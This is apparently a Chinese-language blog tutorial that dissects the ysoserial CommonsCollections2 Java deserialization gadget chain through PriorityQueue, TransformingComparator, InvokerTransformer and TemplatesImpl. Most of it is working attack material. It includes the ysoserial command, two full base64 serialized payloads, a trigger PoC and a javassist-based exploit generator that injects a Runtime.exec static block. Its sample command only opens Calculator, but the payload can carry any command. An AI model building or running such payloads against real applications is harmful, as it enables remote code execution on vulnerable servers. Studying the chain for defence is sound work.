利用IDEA创建一个maven
项目,导入依赖
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
利用ysoserial
生成payload:
xxxxxxxxxx
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections2 'open /System/Applications/Calculator.app' |base64
得到
xxxxxxxxxx
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGwMr+ur4AAAAyADkKAAMAIgcANwcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAqAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwALAAtCgArAC4BAChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAfeXNvc2VyaWFsL1B3bmVyMzA4OTAyMDI0MjM5MjM3MAEAIUx5c29zZXJpYWwvUHduZXIzMDg5MDIwMjQyMzkyMzcwOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC4ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADMADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADcADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AGAAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA7AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4
这里用的jdk1.8.0_121
触发Poc
:
ximport java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import sun.misc.BASE64Decoder;
public class Poc {
public static void exp(String base64_exp) throws IOException, ClassNotFoundException{
BASE64Decoder decoder = new BASE64Decoder();
byte[] exp = decoder.decodeBuffer(base64_exp);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
}
public static void main(String[] args) throws IOException, ClassNotFoundException{
String base64_exp = "BASE64_EXP";
Poc p = new Poc();
p.exp(base64_exp);
}
}
当然也可以是
xxxxxxxxxx
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Poc {
public static void main(String[] args) throws IOException,ClassNotFoundException {
String base64_exp = "BASE64_EXP";
byte[] exp = Base64.getDecoder().decode(base64_exp);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
}
}
执行后发现能成功弹出计算器
类似地,这个漏洞最终是利用的是org.apache.commons.collections4.functors.InvokerTransformer
的 transform()
直接下个断点查看调用栈
CC1
我们是从最后往前分析,这里我们反过来分析
入口点是java.util.PriorityQueue
的readObject()
方法
看起来并没有什么东西
于是跟入调用的heapify()
xxxxxxxxxx
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
xxxxxxxxxx
>>:带符号右移。正数右移高位补0,负数右移高位补1
比如:4 >> 1 == 2, -4 >> 1 == -2, -2 >> 1 == -1
>>>:无符号右移。无论是正数还是负数,高位通通补0。
这里的queue
定义为transient Object[] queue;
queue
参数是根据PriorityQueuee
二参构造方法的第一个参数传入的int
类型
并根据传入的int
值大小new
一个相应大小的一维对象数组
xxxxxxxxxx
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
如果这里size
的值大于等于2则能进入siftDown()
siftDown()
:
xxxxxxxxxx
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
判断了下comparator
是否为null
,然后继续跟入第三行的siftDownUsingComparator()
PS.
方法参数中的E x
的E
在是泛型通配符
通常:
?: 不确定的类型
T (Type) : 一个类型
K V (Key Value) : 键 值
E (Element) : 程序的一个元素
......
siftDownUsingComparator()
:
xxxxxxxxxx
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
这里有2处调用compare()
方法,二者都是根据comparator
调用的
根据上面提到的PriorityQueue
的构造函数,得知comparator
来自于的其二参构造方法的第二个参数Comparator<? super E> comparator
那有啥compare()
可以利用呢
PS.
这个利用链是触发的comparator.compare(x, (E) c)
(第二个, 第10行)
恰好org.apache.commons.collections4.comparators.TransformingComparator
的compare()
方法为:
xxxxxxxxxx
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
如果我们控制PriorityQueue
里的comparator
为org.apache.commons.collections4.comparators.TransformingComparator
即可调用到这里
然后TransformingComparator
的this.transformer
又是可控的
xxxxxxxxxx
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
最后利用org.apache.commons.collections4.functors.InvokerTransformer
的transform()
方法可以来执行任意可反序列化对象的任意public
方法
这里就会有疑问了,那怎么RCE呢,CC1不是分析过,要调用多次transform
串起来才行吗?
这里需要用到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
内置类
xxxxxxxxxx
public final class TemplatesImpl implements Templates, Serializable {
static final long serialVersionUID = 673094361519270707L;
public final static String DESERIALIZE_TRANSLET = "jdk.xml.enableTemplatesImplDeserialization";
//...
这个类可以反序列化,并且其类中有可以直接执行字节码的方法,且其构造方法能够直接赋值_bytecodes
,我们可以利用这个类来想办法来任意代码执行
xxxxxxxxxx
protected TemplatesImpl(byte[][] bytecodes, String transletName,
Properties outputProperties, int indentNumber,
TransformerFactoryImpl tfactory)
{
_bytecodes = bytecodes;
init(transletName, outputProperties, indentNumber, tfactory);
}
而其类中的defineTransletClasses()
方法可以将_bytecodes
作为class
的字节码并加载,把新的类存入_class
属性 (第25行defineClass()
作用是把字节码转化为class
)
xxxxxxxxxx
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); // *转化*
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
这里新加载类的父类必须是ABSTRACT_TRANSLET
(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
),否则会走到else
分支报错
这样我们得到的_class[i]
中都是直接的类了
接着在getTransletInstance()
中会调用新加载类的newInstance()
对其进行实例化,并返回其结果,也就是会执行我们传入_bytecodes
中的静态代码(具体原理见下面的利用Java字节码执行恶意代码部分)
虽然说这是一个private
方法
但是TemplatesImpl
中的newTransformer()
方法是public
的,这样就可以直接调用了
到此,攻击链分析完毕
在程序运行时,操作字节码可以实现动态生成新的类
、动态改变某个类的结构(添加/删除/修改 新的属性/方法)
主要用到的是javassist
,提供了在运行时操作Java字节码的方法,如在已有Class中动态修改和插入Java代码
先本地构造一个简单的例子:
需要先导入javassist
和rhino
包
xxxxxxxxxx
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino</artifactId>
<version>1.7.11</version>
</dependency>
Test.java
:
xxxxxxxxxx
import javassist.ClassPool;
import javassist.CtClass;
import org.mozilla.javascript.DefiningClassLoader;
public class Test{
public static void main(String[] args) throws Exception{
Test to = new Test();
to.Do();
}
public void Do() throws Exception {
// 想要执行的java代码段, 注意是静态块内的代码
String code = "{java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");}";
// 获取默认的类池
ClassPool pool = ClassPool.getDefault();
// 拷贝一个已经存在的类来定义一个新的类
// 首先读取Test类, 再设置其名为ccc
CtClass clazz = pool.get(Test.class.getName());
clazz.setName("ccc");
// makeClassInitializer() 生成空的类初始值设定项(静态构造函数)
// insertBefore(code) 在方法的起始位置插入code代码
clazz.makeClassInitializer().insertBefore(code);
// DefiningClassLoader 准备来调用 defineClass方法
DefiningClassLoader loader = new DefiningClassLoader();
// defineClass()从字节数组中还原出ccc的Class对象
Class cls = loader.defineClass("ccc",clazz.toBytecode());
// 实例化ccc类时会自动执行code
// 因为静态块在类实例化时会自动执行块内的代码
cls.newInstance();
}
}
(其实不设置clazz.setName("ccc");
也是可以的,这样在defineClass
时只需要从Test
重新取就好了)
我们稍微修改一下代码(在Test
中添加了静态代码段,修改了code
内容),如下
Thread.currentThread().getStackTrace()[1].getClassName()
是获取当前类名
可以很清晰地看明白其过程
Exp 只能从后往前一步步构造了
由上面的Step 5
我们已经可以来执行任意可反序列化对象的任意public
方法,现在就是要通过
来构造静态代码块执行
所以这里input
我们要传入com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类
this.iMethodName
需要为那个public
方法,也就是newTransformer
,这样就能执行到getTransletInstance()
了,若_name
赋值且_class
为空则进入defineTransletClasses()
但此时_name
,_class
等参数并没有进行赋值
还需要利用TemplatesImpl
的构造方法来对其赋值,且其构造方法是protected
,需要通过反射的方式来进行实例
TemplatesImpl
有个public
的无参构造方法,用这个直接new
好后再利用set
赋值
这样进入defineTransletClasses
这里如果_tfactory
为null
会报错,于是要
新加载类的父类必须是ABSTRACT_TRANSLET
(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
)
exp part 1
:
xxxxxxxxxx
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Exp {
public static class StaticBlock { }
public static void main(String[] args) throws Exception {
// 生成恶意 bytecodes
String code = "{System.out.println(\"aaaaaaaaaaa\");}";
ClassPool pool = ClassPool.getDefault();
// 父类必须是 AbstractTranslet
CtClass clazz = pool.get(StaticBlock.class.getName());
clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
clazz.makeClassInitializer().insertBefore(code);
byte[] bytecodes = clazz.toBytecode();
// 实例化类并设置属性
TemplatesImpl templatesimpl = new TemplatesImpl();
Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templatesimpl, new byte[][]{bytecodes});
Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templatesimpl, "name");
Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
fieldTfactory.setAccessible(true);
fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
// 手动构造的transform
Class cls = templatesimpl.getClass();
Method method = cls.getMethod("newTransformer",null);
method.invoke(templatesimpl,null);
}
}
下面再将手动构造的transform
改成从代码触发
直接先引入org.apache.commons.collections4.functors.InvokerTransformer
于是exp part 2
:
xxxxxxxxxx
// 假设有InvokerTransformer了
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
invokerTransformer.transform(templatesimpl);
然后看到org.apache.commons.collections4.comparators.TransformingComparator
的compare
,这里触发上面的transform
this.transformer
需要传入为InvokerTransformer
类,且obj1
需要为templatesimpl
上面分析知compare()
方法的执行也是其他类而来的
因为Step4
一直到Step1
其实都是在一个类下,这里先不再分开写exp
,待会再针对这个类一起写
java.util.PriorityQueue
的siftDownUsingComparator()
传入了x
和c
x
来自于siftDownUsingComparator()
的第二个参数
c = queue[child]
,而child
是将传入的第一个参数乘上2再加1
关注第一个x
参数,也别忘了这个comparator
,这个comparator
需要设置为org.apache.commons.collections4.comparators.TransformingComparator
siftDown()
传入siftDownUsingComparator()
的两个参数也是传入siftDown()
的参数
上面的x
参数正是siftDown()
这里传入的第二个参数x
追溯到heapify()
两个参数由size
和queue
决定,这里size
需要大于等于2才能执行siftDown()
且为2时也满足siftDownUsingComparator()
前面的一些判断
如果为size
为2时,上面x
参数来源则是queue[0]
,所以queue[0]
需要为templatesimpl
那么继续构造
exp part 3
:
xxxxxxxxxx
PriorityQueue priorityQueue = new PriorityQueue(1,transformingComparator);
// 设置属性
Field fieldQueue = priorityQueue.getClass().getDeclaredField("queue");
fieldQueue.setAccessible(true);
Object[] queueArr = {templatesimpl,1};
fieldQueue.set(priorityQueue, queueArr);
Field fieldSize = priorityQueue.getClass().getDeclaredField("size");
fieldSize.setAccessible(true);
fieldSize.set(priorityQueue,2);
然后输出反序列化数据到文件即可
_bytecodes
是由字节码组成的数组
_name
可以是任意字符串,只要不为null
即可
_tfactory
需要是一个TransformerFactoryImpl
对象因为
TemplatesImpl#defineTransletClasses()
方法里有调用到_tfactory.getExternalExtensionsMap()
,如果是null
会出错
xxxxxxxxxx
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.util.PriorityQueue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Exp {
public static class StaticBlock { }
public static void main(String[] args) throws Exception {
// 生成恶意 bytecodes
String code = "{java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");}";
ClassPool pool = ClassPool.getDefault();
// 父类必须是 AbstractTranslet
CtClass clazz = pool.get(StaticBlock.class.getName());
clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
clazz.makeClassInitializer().insertBefore(code);
byte[] bytecodes = clazz.toBytecode();
// 实例化类并设置属性
TemplatesImpl templatesimpl = new TemplatesImpl();
Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templatesimpl, new byte[][]{bytecodes});
Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templatesimpl, "name");
Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
fieldTfactory.setAccessible(true);
fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
// transformingComparator 是 comparator
PriorityQueue priorityQueue = new PriorityQueue(1,transformingComparator);
// 设置属性
Field fieldQueue = priorityQueue.getClass().getDeclaredField("queue");
fieldQueue.setAccessible(true);
Object[] queueArr = {templatesimpl,1};
fieldQueue.set(priorityQueue, queueArr);
Field fieldSize = priorityQueue.getClass().getDeclaredField("size");
fieldSize.setAccessible(true);
fieldSize.set(priorityQueue,2);
// 输出反序列化文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exp"));
oos.writeObject(priorityQueue);
oos.close();
}
}
xxxxxxxxxx
$ cat exp|base64
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAACYcr+ur4AAAAxACQKAAMADwcAEQcAEgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQALU3RhdGljQmxvY2sBAAxJbm5lckNsYXNzZXMBABFMRXhwJFN0YXRpY0Jsb2NrOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwABAAFBwATAQAPRXhwJFN0YXRpY0Jsb2NrAQAQamF2YS9sYW5nL09iamVjdAEAA0V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABQKABUADwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAaABsKABkAHAEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAIAB4BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAgACEKABkAIgAhAAIAFQAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAWsQAAAAIABwAAAAYAAQAAABAACAAAAAwAAQAAAAUACQAMAAAACAAXAAUAAQAGAAAAFgACAAAAAAAKuAAdEh+2ACNXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACXB0AARuYW1lcHcBAHhzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXg=